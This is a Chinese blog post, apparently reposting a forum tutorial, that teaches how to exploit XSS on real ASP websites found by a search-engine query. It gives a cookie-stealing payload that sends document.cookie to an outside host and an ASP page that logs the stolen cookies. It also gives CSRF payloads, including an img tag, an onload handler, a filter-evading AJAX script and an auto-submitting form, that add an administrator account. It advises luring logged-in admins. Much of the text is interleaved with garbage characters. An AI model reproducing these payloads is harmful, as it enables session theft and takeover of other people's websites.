实战xss漏洞利用

admin

前天贴吧一位朋友发了个后台XSS利用的帖子，大家就一起讨论了讨论，原帖为：
& u6 b$ j, C* y% M4 m, d- X* d
5 [; s- T2 l+ g: |+ h1 l( T( j$ q  I. jhttp://tieba.baidu.com/f?kz=1069007239

; C6 I. d5 F" r) f, s) `% n* W; [' }这个帖子说的只是一个思路，不是很详细，并且说的是利用后台XSS挂马的情况，但是其实在后台挂马一般是不会牵扯到XSS的，只是一个过滤不过滤转换不转换的问题，比如很多带编辑器的后台，都是不过滤不转换在文章中的html代码的，比如eweb，你可以直接编辑发表文章的时候的html代码，这就为挂马、盗cookie提供了很多机会。

但是，我想说的是，即使是挂马、盗cookie，也是不会使用location这种手法的，因为这样太明显了，一般都是使用普通挂马的手法的，比如iframe、JS等等。

2 Z4 A. ]4 Q# f! [. w+ E& Y! m我在上边的帖子中说作者讲的不是很详细，希望出一个详细点的利用教程，于是今天又一位朋友就发了一个详细些的文章，我这里就发大博客里，让更多需要的朋友看到这篇文章。
4 o2 `, Q1 m+ `6 c
这个文章是对XSS的一个很简单的利用，原理很简单，主要用于科普，只是想让朋友们知道，XSS并不是简单的弹个框框玩那么简单的，是有很多利用价值的，在国外，XSS已经被列为网站杀手之一，包括国内的很多大站，大家都把心思放到了防范SQL注入上，相应的对XSS的防范就很少，这也是XSS总是能成功的原因之一。
/ \$ Y: I9 _1 N& G$ W, v
; ~+ w6 U! Z. D% ~3 @好了，废话不多说了，一起来看文章吧。
" o  w3 b  {. I7 p3 c! F
-------------------------------------------------------------------
: a, e3 j# \$ `
首先要找到一个有XXS的站，这里就不整什么大站了，谷歌一下inurl:'Product.asp?BigClassName'，搜出来的命中率也比较高。随便找一个，先<script>alert('xxs')</script>一下。呵呵，框框出来了。


( B$ i2 J) g$ w+ q
2 z) z4 f1 y/ ]  ~: k再看看自己的Cookie吧，把alert里面的内容换成document.cookie就可以了，如图：
. A  g" f3 z8 k, s6 r) G8 S

, U/ J  Y! g* r. H3 A* N
这里就是要把弹出来框框里的东西收集到我们的记事本里。这里，要玩这个步骤就需要一个你自己的站点，具体思路就是
1:让目标访问已跨站的网址，然后这个网址执行脚本
) Q6 @* B# \7 U' [( X& O- J% e( u2:然后跳转到你已经写好专门用来收集Cookie的网址

具体实现方法：
先构造语句<script>window.open('http://dlgyi.rrvv.net/cookie.asp?msg='+document.cookie)</script>
  s8 a0 D, b) ]9 I3 n这句话意思是打开一个新的窗口，访问http://dlgyi.rrvv.net/cookie.asp这个网址，并且通过msg传递一个变量，这里的变量就是我们要收集的cookie了。
) Z# W9 [2 U( }! d, o
这里需要自己写一个页面，也就是收集对方发过来cookie的页面，代码是这样的：

<html>
<title>xx</title>
<body>
5 q$ `: B0 X1 n( n<%
# B' i, d# u/ ptestfile = Server.MapPath("code.txt") //先构造一个路径，也就是取网站根目录，创造一个在根目录下的code.txt路径，保存在testfile中
8 W& s3 M3 b' |+ ^msg = Request("msg")   //获取提交过来的msg变量，也就是cookie值
6 C1 x( v( \1 Z( E3 aset fs = server.CreateObject("scripting.filesystemobject")创建一个fs对象
set thisfile = fs.OpenTextFile(testfile,8,True,0)
thisfile.WriteLine(""&msg&"")//像code.txt中写入获取来的cookie
$ C- Z9 o6 O" }, S! \- s$ Cthisfile.close   //关闭
set fs = nothing
. W4 h/ [2 l6 G, E+ y1 F%>
</body>
1 U) G6 q  H6 Y1 o0 G; g( h</html>

然后保存，放在你自己服务器上，如果有人点击构造好的XXS页面，就会自动在你网站的根目录生成一个文本：
) W) f$ d3 t- @* k1 y) V

. h  o. @  b: e5 X! @' y
0 E& O+ H+ [9 p( u2 ?* i  g
3 j/ x7 T. o2 ]' ^& D拿出来看看，呵呵，Cookie到手：

  m( H+ Q: _9 ?1 B0 X. a4 g( e

' _. ^( |) L, ^' i本文只是抛砖引玉，而且没有多大的实战价值，一来很多网站都过滤掉了+号这个字符连接符，二来稍大点的站，也不会存在如此的XXS，本文旨在给新手一个练习的向导，毕竟不可能谁一开始学习就可以RI掉大站，从小站开始练手，一起进步。话说咱也是新手O(∩_∩)O~
6 g% _1 \* T0 z$ q
) h8 s5 h% z, n* {PS：一点小提示，如果提交<script>alert('xxs')</script>网站没有反应时，不要立刻就点X。你可以鼠标右击，查看一下网站的源码，看看网站到底过滤掉了什么字符，通过编码啊神马的发挥下智慧，绕过过滤。只要出现小框框，咱就胜利了。
9 J5 L, Q+ s! [" g9 ~7 R7 j* s$ f! j
-------------------------------------------------------------------

下面是我对这个帖子的回复，也一起贴过来吧：
' w- F1 i( a& A& t$ |
6 J: U" `& ^+ r' d7 A0 z3 B$ U1 l说实话，像这种后台XSS其实作用不大的，一般的小站你拿到cookie也没什么利用价值，大点的站的话，或许可以用cookie盗点装备什么的，但那牵扯的多了，不过对于普通脚本小子来说，日站的时候除非毫无办法了还会想到XSS的，不过日站时候的XSS利用方法跟这篇文章里讲的差不多的，可以借鉴一下。
. S' b* v6 X5 h/ w6 L9 ~# r
但是，这里的文章讲的是针对已经进入后台、拿shell无望又想多获得点东西的情况，说它鸡肋的原因是，你知道的，现在大部分站都是cookie+session的，并且一般用户名和密码不会直接放到cookie里了，这是它鸡肋的原因。
9 }% f9 X8 \( x& g  L# @; }0 U再者，日站的时候盗cookie一般是想进后台，但是如果遇到网上有源码的情况的话，还可以进一步利用，比如添加个管理员什么的。
+ t3 |0 s1 H5 A' ], m
在文章的最后，顺便贴上一般XSS的利用思路，也不是原创，原文链接：
7 I( \8 i6 j0 ~7 h6 \! I3 L5 n5 X3 Z
. G9 r1 @* K; x' Z1 k/ R) R% x, vhttp://user.qzone.qq.com/673116767/blog/1252452536

" z& B+ Y8 v6 S# p  l一般发现一个xss漏洞后要做的基本上就是这些：
+ q, r5 G, `, {1 C/ `( K
1.  伪造请求  使用$_REQUEST或$_GET
: {7 n  B' r5 T; Z! I8 I7 t
首先我们要找找该网站使用的程序是不是在网上能找到源码，如果能找到源码的话，就去分析后台管理员更改密码或者增加管理员的页面，然后分析管理员使用的是不是$_REQUEST接收参数，如果是的话，我们使用该XSS漏洞构造一个请求，比如前台发表留言中可以使用HTML代码，那么我们就嵌入一个IMG元素：
$ \( p. J! m, o. |<img src="/admin/admin_add.asp?name=xxx&psd=yyy" />
' X- B! f( ]( B; S3 e/ @当管理员登录管理后台后看到包含img的页面的时候，就伪造了一个增加后台管理员的请求，而该请求是由管理员发出的，所以顺利的增加了一个新的管理员。

  _; \7 y/ T' a) v如果是可视文本编辑器，可以尝试使用输入：
! C7 x# L' a3 @" x$ Zhttp://www.drvfan.com/xxx.jpg" onload="window.open('/admin/admin_add.asp?name=xxx&psd=yyy')
这样最终会构造出：
( A, u( X0 r$ d7 w1 l. r<img src="http://www.drvfan.com/xxx.jpg" onload="window.open('/admin/admin_add.asp?name=xxx&psd=yyy',0,0)" />
! t* k2 V5 p  J* ?. ~总之要举一反三。

* G) o3 {# L; j4 W3 r& H* Q# O2. 伪造请求  使用$_POST
) E" H6 a6 W* M' E  v8 @/ _
% |, H0 J! \. B+ k+ g当后台接收增加管理员或更改管理密码的变量时使用的是$_POST方式，那么第一种方法无效，我们视情况而定，如果没有过滤<script>，我们可以通过ajax方式来伪造请求，如：
9 g' ~, A  k% e' D5 P<sc/*xss*/ript type="text/javascript">
var aj = new ActiveXObject("MSXML2.XMLHTTP.3.0");
/ p1 y: p' s! ~aj.open("POST", "/admin/admin_add.asp", false);
9 _+ t3 k2 |8 f  Xvar postdata = 'name=xxx&psd=yyy';
  e" _3 N- _5 a! ~' u. \- W0 |aj.setRequestHeader("Content-Type","application/x-www-form-urlencoded");
4 e. H  i& p7 I0 W6 l$ H" uaj.send(postdata);
9 _7 M7 z+ Y  J0 g3 K4 t, q</scr/*xss*/ipt>
/*xss*/是HTML注释，用来绕过简单的对script代码块的过滤。

4 o  S5 D: U# O3 V$ {3. 跨站伪造请求 使用$_GET 或 $_REQUEST
/ |' W4 u1 b0 o) ^
与第一种伪造请求的方式相似，但是第一种伪造请求是利用站内的xss漏洞进行的，而跨站伪造请求，是站外发起的，比如我在我的博客的首页放了这样一个图片
<img src="http://www.drvfan.com/admin/admin_add.asp?user=xxx&psd=yyy"/>
然后我跑到dvbbs上发帖子，“勾引”动网论坛的管理员来我的博客，如果动网论坛的管理员已经登录了他的管理后台，然后使用共享进程的浏览器（目前基于ie内核的myie,maxton等等还有firefox都是共享进程的）来访问我的博客，那么他的后台就会被加入一个用户。
9 E7 b- b8 L* A- w. G2 r- \
4.跨站伪造请求 使用$_POST（0day）
9 r) `' |2 D- l  s2 n' P
1 T7 @/ V0 d" L如果入侵目标的管理后台使用的是$_POST方式来接受变量，那么我们无法在我们的网站跨站使用ajax的post方式提交数据过去，因为ajax是无法跨域的。

但是我们可以在我们的网站放一个form，里面填写好数据，form的action为要利用的有漏洞的页面，然后当有人打开该页面的时候，我们就用js控制该form进行submit，ajax虽然不能跨域，但向域之外的地址提交form总是可以的。
: X; m0 X3 w5 J3 ]# p
总之，第3，4种方法成功几率要小一些，因为我们要想办法让已经登录自身后台的管理员，使用共享session的浏览器访问我们的伪造请求的页面，有一点社会工程学的技术含量。

) H4 `* ~- z" m. V$ M7 U6 i$ sOK，该说的都说完了，Over。